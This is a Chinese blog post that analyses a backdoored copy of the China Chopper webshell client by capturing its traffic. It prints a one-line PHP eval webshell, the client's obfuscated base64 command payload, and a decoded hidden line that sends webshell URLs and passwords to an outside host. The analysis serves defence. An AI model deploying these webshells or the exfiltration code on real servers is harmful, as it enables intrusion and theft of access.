最新消息:

如何分辨菜刀是否带后门

书籍与资料 admin 2646浏览 0评论

这几天gooddog火了,因为他在最新的菜刀中添加了后门,遭到各种大牛的人肉搜索(参考:黑吃黑到底是谁吃谁 – 冒用身份也敢这么叼)。不过送这次事件中学到了很多信息,如如何判断菜刀是否带后门,现详细整理如下:

菜刀下载地址:http://pan.baidu.com/s/1o62kGrC

根据网上大牛的分析,找到两种使用不同工具的方法:

  • 使用WSExplorer工具抓包
  • 使用Fiddler和proxifier

方法一、使用WSExplorer

WSExplorer工具下载地址:http://pan.baidu.com/share/link?shareid=414172&uk=536890509&fid=3284082701。

1、打开下载的菜刀,随便添加一个shell(不一定要存在)。添加后先不要访问。

20131231174028

2、打开WSExplorer,找到菜刀进程,双击进入

20131231174228

 

3、菜刀中访问添加的shell,查看WSexplorer抓的包

20131231174409 20131231174448

可以看到WSexplorer总共抓到了四个包,其中第二个包为菜刀发送请求的头部信息,第三个为菜刀发送请求的POST数据信息

20131231174513 20131231174526

4、将第三个数据包的数据拷贝出来,如下:

2=%24_%3Dstrrev%28edoced_46esab%29%3B%40eval%28%24_%28%24_POST%5Bz0%5D%29%29%3B&z0=QGV2YWwoYmFzZTY0X2RlY29kZSgnYVdZb0pGOURUMDlMU1VWYkoweDVhMlVuWFNFOU1TbDdjMlYwWTI5dmEybGxLQ2RNZVd0bEp5d3hLVHRBWm1sc1pTZ25hSFIwY0RvdkwzZDNkeTVoY0drdVkyOXRMbVJsTDBGd2FTNXdhSEEvVlhKc1BTY3VKRjlUUlZKV1JWSmJKMGhVVkZCZlNFOVRWQ2RkTGlSZlUwVlNWa1ZTV3lkU1JWRlZSVk5VWDFWU1NTZGRMaWNtVUdGemN6MG5MbXRsZVNna1gxQlBVMVFwS1R0OScpKTtAaW5pX3NldCgiZGlzcGxheV9lcnJvcnMiLCIwIik7QHNldF90aW1lX2xpbWl0KDApO0BzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoMCk7ZWNobygiLT58Iik7OyREPWRpcm5hbWUoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKTtpZigkRD09IiIpJEQ9ZGlybmFtZSgkX1NFUlZFUlsiUEFUSF9UUkFOU0xBVEVEIl0pOyRSPSJ7JER9XHQiO2lmKHN1YnN0cigkRCwwLDEpIT0iLyIpe2ZvcmVhY2gocmFuZ2UoIkEiLCJaIikgYXMgJEwpaWYoaXNfZGlyKCJ7JEx9OiIpKSRSLj0ieyRMfToiO30kUi49Ilx0IjskdT0oZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRlZ2lkJykpP0Bwb3NpeF9nZXRwd3VpZChAcG9zaXhfZ2V0ZXVpZCgpKTonJzskdXNyPSgkdSk%2FJHVbJ25hbWUnXTpAZ2V0X2N1cnJlbnRfdXNlcigpOyRSLj1waHBfdW5hbWUoKTskUi49Iih7JHVzcn0pIjtwcmludCAkUjs7ZWNobygifDwtIik7ZGllKCk7

可以看到数据经过url编码了,进行url编码后为:

2=$_=strrev(edoced_46esab);@eval($_($_POST[z0]));&z0=QGV2YWwoYmFzZTY0X2RlY29kZSgnYVdZb0pGOURUMDlMU1VWYkoweDVhMlVuWFNFOU1TbDdjMlYwWTI5dmEybGxLQ2RNZVd0bEp5d3hLVHRBWm1sc1pTZ25hSFIwY0RvdkwzZDNkeTVoY0drdVkyOXRMbVJsTDBGd2FTNXdhSEEvVlhKc1BTY3VKRjlUUlZKV1JWSmJKMGhVVkZCZlNFOVRWQ2RkTGlSZlUwVlNWa1ZTV3lkU1JWRlZSVk5VWDFWU1NTZGRMaWNtVUdGemN6MG5MbXRsZVNna1gxQlBVMVFwS1R0OScpKTtAaW5pX3NldCgiZGlzcGxheV9lcnJvcnMiLCIwIik7QHNldF90aW1lX2xpbWl0KDApO0BzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoMCk7ZWNobygiLT58Iik7OyREPWRpcm5hbWUoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKTtpZigkRD09IiIpJEQ9ZGlybmFtZSgkX1NFUlZFUlsiUEFUSF9UUkFOU0xBVEVEIl0pOyRSPSJ7JER9XHQiO2lmKHN1YnN0cigkRCwwLDEpIT0iLyIpe2ZvcmVhY2gocmFuZ2UoIkEiLCJaIikgYXMgJEwpaWYoaXNfZGlyKCJ7JEx9OiIpKSRSLj0ieyRMfToiO30kUi49Ilx0IjskdT0oZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRlZ2lkJykpP0Bwb3NpeF9nZXRwd3VpZChAcG9zaXhfZ2V0ZXVpZCgpKTonJzskdXNyPSgkdSk/JHVbJ25hbWUnXTpAZ2V0X2N1cnJlbnRfdXNlcigpOyRSLj1waHBfdW5hbWUoKTskUi49Iih7JHVzcn0pIjtwcmludCAkUjs7ZWNobygifDwtIik7ZGllKCk7

要理解上面这段代码的意思,需要明白上传的一句话是:<?php eval ($_POST[2]); ?>。结合上面POST数据,可以看出在目标站点上通过eval执行了一下代码:

$_=strrev(edoced_46esab);@eval($_($_POST[z0]));&z0=QGV2YWwoYmFzZTY0X2RlY29kZSgnYVdZb0pGOURUMDlMU1VWYkoweDVhMlVuWFNFOU1TbDdjMlYwWTI5dmEybGxLQ2RNZVd0bEp5d3hLVHRBWm1sc1pTZ25hSFIwY0RvdkwzZDNkeTVoY0drdVkyOXRMbVJsTDBGd2FTNXdhSEEvVlhKc1BTY3VKRjlUUlZKV1JWSmJKMGhVVkZCZlNFOVRWQ2RkTGlSZlUwVlNWa1ZTV3lkU1JWRlZSVk5VWDFWU1NTZGRMaWNtVUdGemN6MG5MbXRsZVNna1gxQlBVMVFwS1R0OScpKTtAaW5pX3NldCgiZGlzcGxheV9lcnJvcnMiLCIwIik7QHNldF90aW1lX2xpbWl0KDApO0BzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoMCk7ZWNobygiLT58Iik7OyREPWRpcm5hbWUoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKTtpZigkRD09IiIpJEQ9ZGlybmFtZSgkX1NFUlZFUlsiUEFUSF9UUkFOU0xBVEVEIl0pOyRSPSJ7JER9XHQiO2lmKHN1YnN0cigkRCwwLDEpIT0iLyIpe2ZvcmVhY2gocmFuZ2UoIkEiLCJaIikgYXMgJEwpaWYoaXNfZGlyKCJ7JEx9OiIpKSRSLj0ieyRMfToiO30kUi49Ilx0IjskdT0oZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRlZ2lkJykpP0Bwb3NpeF9nZXRwd3VpZChAcG9zaXhfZ2V0ZXVpZCgpKTonJzskdXNyPSgkdSk/JHVbJ25hbWUnXTpAZ2V0X2N1cnJlbnRfdXNlcigpOyRSLj1waHBfdW5hbWUoKTskUi49Iih7JHVzcn0pIjtwcmludCAkUjs7ZWNobygifDwtIik7ZGllKCk7

其中,strrev()函数是PHP中用于反转字符串的函数,所以$_=base64_decode ,则后面为:@eval(base64_decode(zo))

5、将变量z0进行base64解码

20131231175942

即:

@eval(base64_decode('aWYoJF9DT09LSUVbJ0x5a2UnXSE9MSl7c2V0Y29va2llKCdMeWtlJywxKTtAZmlsZSgnaHR0cDovL3d3dy5hcGkuY29tLmRlL0FwaS5waHA/VXJsPScuJF9TRVJWRVJbJ0hUVFBfSE9TVCddLiRfU0VSVkVSWydSRVFVRVNUX1VSSSddLicmUGFzcz0nLmtleSgkX1BPU1QpKTt9'));@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D}\t";if(substr($D,0,1)!="/"){foreach(range("A","Z") as $L)if(is_dir("{$L}:"))$R.="{$L}:";}$R.="\t";$u=(function_exists('posix_getegid'))?@posix_getpwuid(@posix_geteuid()):'';$usr=($u)?$u['name']:@get_current_user();$R.=php_uname();$R.="({$usr})";print $R;;echo("|<-");die();

上述代码中仍有base64_decode(),继续进行base64解码

20131231180137

if($_COOKIE['Lyke']!=1){setcookie('Lyke',1);@file('http://www.api.com.de/Api.php?Url='.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'].'&Pass='.key($_POST));}

可以看到其中存在后门,即@file(‘http://www.api.com.de/Api.php?Url=’.$_SERVER[‘HTTP_HOST’].$_SERVER[‘REQUEST_URI’].’&Pass=’.key($_POST)),改代码将webshell信息发送出去了。此处与其他大牛分析出的地址不一样,估计是gooddog被爆后修改了程序。

 

 

方法 二、使用Fiddler和proxifier

参考:蝦米告诉你如何分辨菜刀是否带后门

使用工具是proxifier和fiddler.整个过程最重要的就是proxifer的代理规则的配置(即只要求菜刀的数据包经过代理,其他程序的数据包直接发送)。

1、首先下载安装proxifier和fiddler2。打开proxifer,“配置文件”–>”代理服务器”,添加本地代理。由于fiddler2的默认端口是8888,所以添加127.0.0.1:8888的代理服务器。

20131231214653

2、“配置文件”—>”代理规则”来添加针对菜刀的代理规则,其他的软件选择direct就可以了。

20131231215002

20131231214935

3、启动fiddler和菜刀。在菜刀中添加随便一条webshell然后访问。就会在fiddler中抓到数据包。Inspectors—>TextView就可以查看post数据包的内容。

20131231215300

获取到包的POST数据内容后,就可以按照方法一种的方法来进行分析了。

 

参考资料:

1、安全报告《黑吃黑到底是谁吃谁 – 冒用身份也敢这么叼》

2、蝦米告诉你如何分辨菜刀是否带后门

转载请注明:jinglingshu的博客 » 如何分辨菜刀是否带后门


Warning: Use of undefined constant PRC - assumed 'PRC' (this will throw an Error in a future version of PHP) in /usr/share/nginx/html/wp-content/themes/d8/comments.php on line 17
发表我的评论
取消评论

表情

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址

网友最新评论 (2)

  1. 最重要的是学习这几个工具的使用,以后对渗透分析会很有帮助
    admin6年前 (2013-12-31)回复
  2. Proxifier是一款非常好用的代理设置工具,可以让不支持通过代理服务器工作的网络程序能通过HTTPS或SOCKS代理或代理链。详细介绍参考:http://bbs.360.cn/4004079/253643706.html
    admin6年前 (2013-12-31)回复